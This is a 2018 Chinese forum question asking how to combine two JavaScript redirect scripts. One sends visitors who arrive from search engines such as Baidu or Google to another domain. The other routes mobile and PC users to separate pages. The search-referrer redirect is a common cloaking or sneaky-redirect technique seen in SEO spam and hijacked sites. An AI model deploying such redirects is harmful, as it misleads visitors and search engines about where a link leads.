左梓惠 发表于 2018-9-28 13:04:20

JS代码如何合并? 都是跳转代码 功能不同

JS代码如何合并? 都是跳转代码 功能不同
根据来路跳转和根据设备跳转的
首先根据来路判断跳转 移动设备的跳转到 http://a.com/mPC设备的跳转到 http://a.com/PC
如何合并 代码如下:
来路跳转
<script>
var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http://www.badcatu.com'
}
</script>

设备跳转
<script>
var is_mobi = navigator.userAgent.toLowerCase().match(/(ipod|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
if (is_mobi) {
    window.location.href = "http://a.com/m";
}
else {
    window.location.href = "http://a.com/pc";
}
</script>


页: [1]
查看完整版本: JS代码如何合并? 都是跳转代码 功能不同